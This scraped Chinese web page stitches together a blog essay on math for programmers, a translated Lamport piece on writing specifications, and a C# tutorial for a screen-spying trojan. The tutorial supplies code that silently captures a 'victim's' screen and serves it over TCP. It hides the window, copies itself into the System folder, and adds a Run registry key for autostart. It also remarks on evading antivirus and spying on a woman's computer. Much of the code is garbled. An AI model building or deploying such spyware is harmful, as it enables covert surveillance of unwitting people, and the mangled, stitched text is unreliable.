此过程最多需要1分钟写过程

酷勤网 C 程序员的那点事!
当前位置: >
浏览次数:次
数学对于程序设计师来说到底重不重要?!类似这样标题的讨论,在网络上已经不知道被讨论多少次了。前两天又在老同事小白的blog上看到了他的看法。以前正方总是喜欢拿算法与效率来表明数学很重要的立场,反方或是最近普遍的观点是要依照需求。两方都没错,我也有一点小心得跟大家分享。
先来谈谈「数学」在大家的心中是长什么样子。我大学时念的是辅大应数,会选应数的原因是一、我的分数上不了资工,二、应数又跟纯数不一样,是比较偏计算机应用的(事实上不是这么回事),应数的全名是应用数学。三、高中时一位要好且计算机很强的同学也是念辅大应数,所以我就这样进了数学系。在一般人眼中是个很硬的科系,那几年全校1/2的名单中,数学系就占了一半。数学系所学的数学,跟一般人所会用到的数学不太一样。除了几门工科必备的微积分、线性代数、机率统计外,剩下的都是高深且抽象的数学理论,像是高等微积分、高等代数、几何学(不是三角形、正方形那种简单几何)、拓扑学等。这几门课程跟本像天书一样,非常的抽象(无法画在直角坐标系上),我能毕业也算是一种奇迹啊~~我真怀疑我那学念到博士班的同学们,他们的脑袋是不是跟我长得不一样。
研究所顺利考上的向往已久的资工所,成为名符其实的本科系学生,本以为可以不用再玩数学了,但我发现我错了,是不用再玩那些抽久的高等数学没错,但线性代数、机率统计、离散数学等&用了更多的数学,我想不出来有哪门资工研究所的课没用到数学的。而且你最后的硕士论文要写出来,数学更是不能少的。你以为玩网络不需要数学?大错特错,里面一堆机率统计的东西。电机需要数学吗?当然需要!最基本的傅利叶转换就够搞死你了,所有工科的系所都逃不了数学的魔掌。就算你到了管理学院,会计系要数学、经济系要数学、连心理系有些领域也需要数学。虽然所需要的数学不尽相同,但都在数学的领域里。我开始后悔当年没把数学念好,博士班念到一半念不下去了,其中一个原因是我数学太烂了。
写程序需要数学吗?要看程序的目的?那我们就像讨论一个简单的程序,算出1加到100的总和。
完全以程序结果为导向的人,或是训练有素的程序女/男工,甚至有时连我都会很直觉的写出这样的程序:
int sum = 0;
for (int i=1; i&=100; i++)
&&&&&& sum +=
上面这个程序片段还算很容易让人一眼就看懂,可是我们明明国中时就学过了这种数列级数的算法了,怎么还会写出上面这么笨的程序呢?
int sum = ((1 + 100) * (100 - 1 + 1)) / 2;或更精简的
int sum = (101 * 100) && 2;
这个例子已经被说烂了,我们来来看另一个例子,计算1加到10000,奇数和偶数的总和。用循环的话,一样很直觉得就写出来了:
int oddSum = 0;
int evenSum = 0;
for (int i=1; i&=10000; i++)
&&&&&& if (i % 2 == 0)
&&&&&&&&&&&&& evenSum +=
&&&&&& else
&&&&&&&&&&&&& oddSum +=
}很简单的程序吧!可是我们稍稍的用我们有12年(国小到高中)的数学背景想一下,你可以写出更精简的程序:
int sum = (10001 * 10000) && 2;
int evenSum = 5001 * 5000;
int oddSum = sum - evenS什么?看不懂?!sum应该知道怎么算出来吧?就刚刚第一个例子是1加到100,现在改加到10000而已。evenSum呢?简单的推理一下,1到10000之间的偶数总和是是2+4+6+...+10000,把它们全部除以2的话会变成1+2+3+...+5000,所以1到10000偶数的总和不就是1加到5000的两倍吗?
1加到5000是:
(5001 * 5000) && 2两倍就不用除那个2了,所以不就是上面那个算式了吗!
那1到10000奇数的总和不就是全部的总和减掉偶数的总合吗!稍微动一下脑袋,可以让你的程序变得很有效率。怕别人看不懂?是不会加个批注在程序代码里面喔!
相信聪明的你,很容易就可以分析出来这两个例子的两种写法,在效能上多大的差异,但这不是我在这里想要表答数学是如何如何增加效率的。我想要表答的是,我们明明辛苦了12年,学了一堆的数学,为什么我们要放弃这样的基本训练?我们笑美国人的数学不好,请问你又用了多少的数学来帮助你的生活和你的工作?学了又不用,那不如从小学开始就分科系好了,不喜欢数学、怕数学的,就选完全用不到数学的科系。
我今天不是要大家在写程序是时钻研那种算法、功式等,去计较那些在现在动不动在2GHZ, 3GHZ,双核心、四核心之下,所省下的那微小的效率。而是你的态度!你宁愿多打一些code,也不愿动一下脑筋,如果你的态度是这样子的话,那也是活得下去啦,不过你的水平就不过如此而已。
你会反驳说,需要用到算法、要讲求效率时,我再去研究一下就好了,干嘛说的很严重似的。今天我们一时兴起,要去爬阳明山,没问题啊,那种程度的山,只要双脚健全走得动的人都能爬。如果换成现在流行的登山步道呢?这需要一点点体力才行。如果你要去爬台湾百岳呢?合欢山的东峰算是最简单的吧?开车到山脚下,穿个好一点的鞋子、好一点的衣服、多一点的体力,也还不是太大的问题。那爬玉山呢?虽然现在爬玉山已经很方便了,连行李都可以请人帮你背,但平常没有一些训练,要爬上去不是那么容易的事。你要站在世界的最高点,去挑战圣母峰,那全世界没几个人办得到,而且办到的人事前可是经过了严格的训练。
你想把自己摆在什么位置?你想要成就到什么样的高度?如果你只想在小小的台湾,在二、三流的公司里,打打项目游击战,赚个还算可以的薪水,那的确,你不怎么需要数学,连软件工程的理论也不太需要,最重要的唬弄客户的技术纯熟就可以了。去年去了101的37楼面试后,我才知道我了不起只爬到阿里山而已,要登上MountainView这座山,我必需十倍努力才行。而这个努力不是我在面试前,看看什么教战手册、写写网络上的考古题我就能够通过的,而是必需把一些数学的训练熟到变成很自然的反应才行。简单的问你就好了啦,上面那个用循环写的1加到10000的那个例子,如果10000改用n的话,那需要多少时间,用大O(big O)来表示。如果你不能很快的推论出是O(n)的话,那你的履历连投都不要投,在37楼问的问题比这难多了,而且你没几分钟的时间可以作答。去年那次,是我第二次后悔当初没把数学学好。
为什么Google会这么重视算法和效率?应该说世界级的大公司都重视,Yahoo、微软、YouTube&,因为你写的程序不是给几十个人、几百个人用而已。而是同一时间有几百万,甚至上千万人使用。一个人慢0.1秒好了,一百万人就10万秒,超过一天耶。浏览一个网页,慢个几秒钟你都不能忍受了,更何况是一天。你说能不计较算法和效率吗?!
你想过什么样的生活是你自己决定的,但你想要当个世界级的软件工程师的话,把学数学就当作是一种修行吧!不要怕没地方用,因为你时时刻刻都可以用到它。当你的修行到了某个程度,要挑战高山,就比别人容易多了。
好好好,不想深入就算了,但你不觉得放弃12年的数学训练很可惜吗?至少花点脑筋用一下嘛~~,大家都多少用一点,软件的水平就会慢慢提升了,你说是吗?
& 相关主题:天极传媒:天极网全国分站
您现在的位置:
& >&为什么我们应该像盖房子那样写程序?
为什么我们应该像盖房子那样写程序?博客 09:54
  在砌上一块砖或钉下一支钉子之前,建筑设计师会制定好详细的计划。程序员或者软件工程师却不会。这难道就是房子很少塌倒而程序经常会崩溃的原因?
  蓝图保证建筑设计师的设计的建筑按规划建成。“建成”不仅仅意味不会塌倒,还意味达到业主要求的功能。建筑设计师和他们的客户在着手建造之前,通过蓝图来沟通,以理解他们将要建造成的建筑的样子。
  但是很少有程序员在编码之前,会勾画哪怕是简单的草图来说明他们的程序将是会怎么样子。
  大多数程序员认为做任何不产生代码的事情都是浪费时间。思考并不会产生代码,没有想好就开始编码,那只会产生出糟糕代码。我们应该理解这些代码到底要实现哪些功能。理解需要思考,而思考很难。借用一句漫画家迪克?圭尼登的话:
  写作是一种让你知道你想法有多伤感的本能方法
  蓝图让我们想清楚我们打算要建造的建筑。在写下一段代码之前,我们应该先写蓝图。软件的蓝图称为技术说明书。
  已经有太多的借口说撰写技术说明书只是浪费时间。比如:技术说明书毫无用处,我们不能通过它来产生代码。这就好像说建筑设计师应该不要画蓝图,因为他们最终还是需要承包商去建造房子。另外一个反对撰写技术说明书的争论也能够用蓝图的例子来反驳。
  还有一些程序员争辩说,把蓝图和技术说明书作比较是无用功,毕竟程序不是建筑物。他们认为推倒一堵墙要比改变代码难多了,所以程序的蓝图不是必须的。
  错!改变代码也很难,特别是如果我们不想让程序有缺陷的话。
  我最近需要修改一些不是我写的代码,从而给程序增加一个小小的功能。要完成它需要理解一个接口。我花一整天用调试器来研究该接口到底是干什么的――这种事读读技术说明书只要5分钟就能搞定。为了避免导入缺陷,我不得不弄清楚我每次修改之后的结果。因为没有技术说明书,这个事情变得更加困难。我必须要阅读上千行代码,我花了数天来琢磨怎样才能修改尽可能少的代码。最后,我花了一周,新增、修改了180行代码。这可仅仅是这个程序的一个很小的变更啊。
  修改代码只是一项大任务中小小的一块工作,大多数代码已经是我十几年之前写的了。尽管我几乎不记得这些代码是干嘛的,要修改它还是挺容易的――通过阅读我写的技术说明书,很容易就能找到我要修改的地方。尽管这些修改工作量不少,而且还影响到其它代码,我还是能很快搞定它。
  我所说的技术说明书到底是什么?通常它被认为是以正式的技术语言写就的东西。但是撰写正式的技术说明只需要偶尔为之,如果我们仅仅是盖个工具棚的话,就不需要画摩天大楼所要求的那种蓝图。对于大多数软件来说,我们不需要正式的技术说明书。然而就算是写小程序也不能不写技术说明,否则就像没做任何计划就要盖工具棚一样。
  这些日子,我写的程序往往只是小房子级别,不是摩天大楼级的。通常我会写下每个算法的实现方式,大多数算法很简单,可能只需要一两句话就能写清楚。有时写清楚一个算法到底是怎么起作用的需要好好构思,并且可能得花上一段话或者几页纸才能写清楚。我有一个简单的原则:技术说明书应该写清楚该算法的使用者需要知道的每一件事情。在代码写好、编译好之后,估计没有人会再去阅读它了。
  一旦我弄明白了一段代码的目的所在,写代码的工作就容易了。但有些代码并不是这样,它们要求很复杂的算法。想让一个算法运作起来需要精心构思,这就需要有技术说明书了。
  我写的大多数技术说明书都是非正式的。偶尔一段代码很精妙,也很关键,这就需要正式地写。要保证准确性,甚至要使用编写工具仔细检查。这种正式的事情过去十几年只是有那么十几次罢了。
  对于复杂系统的设计师,一份正式的技术说明书是必须的,就好像摩天大楼的蓝图一样。但很少有工程师会撰写技术说明书,因为他们根本没有时间去学如何做好这件事,而且学校里也不教。一些学校会讲授技术说明书用语,但是很少教怎么在实际工作中。如果你连一个工具棚的蓝图都不会画的话,怎么能会画摩天大楼的蓝图?
  要学会撰写技术说明书,需要实践。没有简单的规则能保证你写出一份好的技术说明书。不过一个应该避免的事情就是不要用代码。通过代码去理解代码是一个糟糕事情。建筑设计师不会用砖来制作蓝图。
  理解一件复杂的事情的关键是抽象,这意味着技术说明比代码要高一个层次。最简单最准确的语言是数学,初等数学就教过这些了:集合、函数和简单的逻辑。不过,大多数正式的技术说明书使用的语言不在初等数学班里,比如:类型。然而,越是远离简单数学的语言,越会妨碍我们去理解一个复杂的程序或系统。
  无论是为复杂系统使用正式的技术说明书还是简单代码的非正式的技术说明书,撰写技术说明书都会提升我们代码的质量。它有助于我们理解我们正在做的事情并减少出错。当然,即使撰写技术说明书也不保证你的程序就不会崩溃。我们依然要使用已有的其它方法和工具来减少代码缺陷。
  思考不会保证我们不会犯错误。但是不思考肯定会犯错误。
  本文作者莱斯利.兰伯特是科学家,擅长分布式系统、时态逻辑和并行算法。他是工程和国家科学院国家科学院成员。兰伯特在麻省理工学院攻读数学本科,在布兰迪斯大学赢得了他的硕士和博士学位。他为微软研究所工作。
  原文链接:http://select.yeeyan.org/view/371
(作者:AllanChen 译言网责任编辑:Sunny)
天极新媒体&最酷科技资讯扫码赢大奖
* 网友发言均非本站立场,本站不在评论栏推荐任何网店、经销商,谨防上当受骗!
办公软件IT新闻整机这可能是菜鸟程序员最喜欢搞的事了哈,并且乐此不彼O(&_&)O哈!最开始本来只是想写段远程传文件的代码 写着写着我就突发奇想 想把别人电脑的截屏传过来,是不是很邪恶 嘿嘿倒腾了一阵原来还是挺简单的 并且速度好像还挺快。 在这里我就不谈socket编程的基本了哈 直奔主题
我们要实现的功能是:在我有需要的时候就把受害人电脑的截屏数据传到我电脑上简单分析一下 参见灰鸽子 啊那啥的常见木马程序我们就知道主动传数据的一方 也就是server程序是放在受害人电脑上的 client程序是放在我电脑上的什么叫有需要呢 就是我主动去连server端。server端一检测到有连接就把数据发过来然后断开连接 一检测到有连接就把数据发过来然后断开连接 明白了吧 就是这么简单(&▽&;)好 开工
1服务端编程
首先截屏的代码 四句 网上到处都有:
Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);
g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
myImg.Save("Capture.gif", System.Drawing.Imaging.ImageFormat.Gif);
&数据有了然后就是发送了 也就是最常见的IO操作 ,把从本地文件读到的数据不停的写到网络流中:
//准备本地数据进行写入网络
FileStream fs = File.OpenRead("Capture.gif");
//写入消息头 文件长度,客户端根据此长度进行读取
writer.Write(fs.Length);
writer.Flush();
//本地文件缓冲区
byte[] data = new byte[10];
int total = 0;
//写入的过程:
//先从本地文件读到缓冲区中,然后把缓冲区的字节数写入网络
//直到网络写入成功后 再读取足够的字节数到本地文件缓冲区
//如此往复直到整个文件全部传输出去
while ((reds = fs.Read(data, 0, data.Length)) & 0)
writer.Write(data, 0, reds);
fs.Close();
//如果没有进行close操作 tcp端口缓存的字节可能不会立即被发往客户端
//所以这个是必须的
writer.Flush();
&好了服务端就这样了Ok 但是为了符合面向对象编程的原则 我们依然用对象的方式把&受害的过程&进行了一个包装 新建一个实例代表一次&受害& 新建一个实例代表一次&受害&&& 这样更便于理解。请自己把上边抓屏以及往网络流写数据的代码粘到下边的send方法里:
//客户端线程
class ServerToClient
TcpClient clientS
public ServerToClient(TcpClient client)
clientSocket =
NetworkStream stream = clientSocket.GetStream();
writer = new BinaryWriter(stream, Encoding.ASCII);
public void send()
public void close()
writer.Close();
clientSocket.Close();
&&受害者&那端一开机程序就会自动运行& 等待&有需要&的人过来 ,也就是偶啦 哇哈哈(&▽&;) & 。 然后把自己截屏的数据给他& 给完过后继续等待下一次被蹂躏。下面是调用的代码:
static void Main(string[] args)
TcpListener server = new TcpListener(6000);
server.Start();
while (true)
ServerToClient c = new ServerToClient(server.AcceptTcpClient());
Console.WriteLine("新的连接");
//防止传输过程中客户端掉线
//c.send();
c.sendAdvance();
Console.WriteLine("发送完成");
c.close();
catch (Exception ex)
Console.WriteLine("客户端已离线:" + ex.Message);
server.Stop();
Console.ReadKey();
&2客户端编程
客户端要做的事就很简单了: 请求连接-&连上-&传数据-&关闭连接连接的时候只需要提供server端ip和端口就可以了 这里我们依然封装一个Client类来进行这些所有的操作 在构造函数中进行连接服务器:
long fileL
byte[] data = new byte[8192];
//准备工作
public Client(IPAddress serverIp)
int port = 6000;
client = new TcpClient();
client.Connect(serverIp, port);
Console.WriteLine("连上了");
NetworkStream stream = client.GetStream();
reader = new BinaryReader(stream);
&其实重要的还是接收数据。 程序设计是一个严谨的东西 就跟泡妞是一种很严肃的社会活动一样 ,几个字节的误差就足以让连接中断 或者是图像显示不出来我们在server端写数据的时候 writer.Write(fs.Length); 那么这是什么意思呢 把文件的大小值写入网络流的开始处。 让客户端在开始的时候就这道这个文件有多大读到多少字节后就不应该读了。fs.Length 是一个long型 那么long型到底是个神马意思呢 它代表Int64这个结构体 他占8个字节。就像这样的 0x00ff& 哥们儿你别担心不会有一个正常文件的长度会超过它的最大值的 在客户端我们读到的始终是连续或者不连续的字节码 我们得对他进行解码才知道server端传过来的文件到底有多大关于二进制转十进制我专门写了一个函数:
//字节数组转长整型(二进制转十进制)
static long getNum(byte[] bytes)
//int srcData = ;
//比如上面的int值在内存中是0x12a383ce 的形式存储的
//但是他在文件中存储确是反过来的(低位在前 高位在后)
//如果我一次读取4字节就是下面的形式
//byte []data = {0xce,0x83,0xa3,0x12};
long[] nums = { 1, 256, 616, , 6, 656, 27936 };
if (bytes.Length & nums.Length)
throw new Exception("溢出");
long num = 0;
for (int i = 0; i & bytes.L i++)
num += (bytes[i] * nums[i]);
&下边是调用getNum获取数据长度以及 获取数据的过程:注意他的工作过程,首先会读取8个字节 这些所有的read操作都是调用的同步方法 就是说如果读不到8个字节 这个操作就会一直在那里挂起(这篇随笔是以前写的 有错误 更正一下:"果读不到8个字节 这个操作就会一直在那里挂起"& 同步方法没错 但是准确的意思是 他会接收缓冲区的第一次数据 没有接收到不会继续执行 并不一定是8个字节 字节数要看服务端 也许网络环境也会引起少发 但是这种几率很小 因为TCP是一种保证数据完整性的协议 如果数据不完整 服务端会重新发送 具体读取了多少字节得看read()的返回值但是因为有上面的概念所以我们不用担心读不到文件长度 也就是8个字节 也不用判断read()的返回值这种概念有点&包&的意味吧 package ,对这种一次一次的数据的概念我们把他称之为&包&& 处理粘包的问题是TCP编程里必须会的。还有这种:TcpClient client = new TcpClient();client.Connect(@"localhost", 104);NetworkStream stream = client.GetStream();BinaryReader br = new BinaryReader(stream);br.ReadString();其实这种方式有很大的局限性 服务端必须用同样的方式写才行:bw.Write("simple string"))得到数据长度过后 每read一次 就把读取到的字节数累加到reds变量中 如此往复 直到reds大于fileLength 退出循环为了方便我们在这次传输完成后就直接把连接关闭了
//接收数据
public void recv()
FileStream fs = File.Create(DateTime.Now.Ticks+ ".gif");
byte[] fileLengthSrc = new byte[8];
reader.Read(fileLengthSrc, 0, 8);
long fileLength = getNum(fileLengthSrc);
long reds = 0;//已经读取字节数
//开始传输
while (reds & fileLength)
if (fileLength - reds & data.Length)
int red = reader.Read(data, 0, data.Length);
if (red == 0)
fs.Write(data, 0, red);
else if (fileLength - reds & data.Length && fileLength - reds & 0)
int red = reader.Read(data, 0, data.Length);
if (red == 0)
fs.Write(data, 0, red);
Thread.Sleep(10);
catch (Exception ex)
Console.WriteLine("数据传输异常或者服务端已离线:" + ex.Message);
fs.Flush();
fs.Close();
reader.Close();
client.Close();
&客户端调用过程:
static void Main(string[] args)
IPAddress serverIp = new IPAddress(new byte[]{127,0,0,1});
if(args.Length&0)
IPAddress.TryParse(args[0], out serverIp);
Client c= new Client(serverIp);
Console.WriteLine("文件接收完成...");
//Console.ReadKey();
客户端及服务端执行过程:
关于界面为什么要做成没有界面的呢,有界面不是更好吗。首先我们只是要验证这一过程原理 有没有界面都界面都无所谓 如果你非要用鼠标点 你可以建个批处理并且如果我要监视多台电脑 我还可以在批处理里这样写:
for /l %%a in (1,1,10) do socketdemo 192.168.0.%a
&命令行是多么的方便 为什么linux都是命令行优先 所以说要界面是非程序员的不靠谱的说法哈。
关于server端数据的发送其实呢上边数据发送的代码跟大家罗里吧嗦了半天 只是跟大家说明数据发送的原理 ,某些东西虽然看似简单其实内部它是经过了这些艰辛的过程的 实际上只要两句就完成数据发送 。丫的 现在才说& 嘿嘿嘿& 别打我吖 (;&○&&)ServerToClient类的send方法也可以是这样的 并且还省去了转存文件的过程直接写到网络流中:
public void sendAdvance()
Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);
g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
writer.Write(long.MaxValue);//不要怕 客户端只要read==0会自动break的
myImg.Save(writer.BaseStream, System.Drawing.Imaging.ImageFormat.Gif);
writer.BaseStream.Flush();
更加让你抓狂的:你数数上边recv 接收数据的方法总共写了多少行代码 ,四十多行吧 看看四行代码是怎样实现同样功能的 对盖茨大叔大爱(‵▽&)注意别忘了添加引用 项目上-&右键-&添加引用 System.Drawing当然send方法里请把对应的 writer.Write(long.MaxValue); 去掉 以免读取数据时出错
//接收数据
public void recv()
Image bmp = Bitmap.FromStream(reader.BaseStream);
bmp.Save(DateTime.Now.Ticks + ".gif");
catch (Exception ex)
Console.WriteLine("数据传输异常或者服务端已离线:" + ex.Message);
reader.Close();
client.Close();
关于socket的有些东西还有必要说下int red = reader.Read(data, 0, data.Length);1如果red==0 代表另一端是先发送数据然后通过正常的close方法断开连接的,所以red==0代表数据已经读完了 而不是什么异常2如果一边已经正常关闭连接 代表数据已经完全缓存到目标机器上去了。如果一边非正常关闭连接(掉线)另一边进行read或write操作会提示连接异常3任意一端的close方法只是关闭自己这边的连接 跟另一边没有任何关系也不会往另一边发数据确认 说&我已经关闭了& 只是发送的这些数据读完后 对方每次read都返回04一个socket代表一个连接到另一端的数据缓冲区 或许这样的说法更贴切
更符合&木马&的风格就把上面那东东拿到人家MM的电脑上去运行监视人家的屏幕 纳尼?,运行个毛线啊 那么大的dos窗口 人家一下就给你关了所以server程序我们还需要让他完成3个工作1让他窗口消失,至少要在桌面上 任务栏上看不到 。让进程消失 那个属于windows底层的东西哈 本人还没那么高的功力 希望哪个高手教教俺啊2自我复制3添加到启动项 开机自动启动 嘿嘿第一个简单 新建一个winform程序 并添加一个类 然后把上诉server端代码 拷过去 并在formLoad事件中调用 static_Void_Main里的代码最重要的是把窗体的 showInTaskbar设置为false 让窗体启动时不在任务栏显示图标, 和windowsState设置为Minimized 让窗体启动时就是最小化状态
第二个也很简单通过System.Diagnostics.Process.GetCurrentProcess().MainModule.FileN就可取到当前进程对应的可执行程序的目录 后面的自然明白了噻 嘿嘿嘿 嘿嘿开机自动启动 通常往注册表的这个节点写值就ok了 Software\Microsoft\Windows\CurrentVersion\Run注册表是一个大的树状结构的数据库 每个节点下可能有0到多个子节点 每个节点下有1到多个键值对 windows通过它来动态装配某些功能 就这样而已没什么神奇的自我复制以及加开机启动代码:
void copyMyself()//
RegistryKey hkml = Registry.LocalM
RegistryKey software = hkml.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
object value = software.GetValue("lovedrxiang");
if (value!=null)
string src = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileN
string folder= Environment.GetFolderPath(Environment.SpecialFolder.System);
string dest = folder+src.Substring(src.LastIndexOf(@"\"));
if (!File.Exists(dest))
File.Copy(src, dest);
software.SetValue("lovedrxiang", dest);
这个其实完全就是一个正常合理合法的程序 压根儿就不是什么木马。360还有啥子管家啊 是一个让人蛋疼的东西 。并且对方不能开防火墙稍有不对 比如文件名取成svchost 在windows目录拷东西啊 注册表操作啊 通通都会给用户弹个通红通红的大大的框框出来提示用户&你中木马了,建议立即删除&可见360完全是面对电脑傻瓜用户的& 也指不定360会从你电脑上拷啥子东西哗啦哗啦就传到他的服务器上去了 然后360的管理员就在那慢慢欣赏 嘿嘿。既然是.net平台的那么必须得装.netFrameWork& (以后俺跟大家讲讲 .net平台的程序怎样打包到在没有安装.netFrameWork的机器上运行)基于以上 这限制也太多了吧 所以得悄悄没人的时候搞(‵▽&)& & 以本程序没什么实质性的用途 纯粹博大家一笑如果你跟对方MM很熟的话就另当别论了哈
最后是全部源码
最后还有想用传图像的方式做远控的童鞋 这个是相当困难滴哈 网上有这方面的文章 自己去发掘
阅读(...) 评论()}

我要回帖

更多关于 此过程最多需要1分钟 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信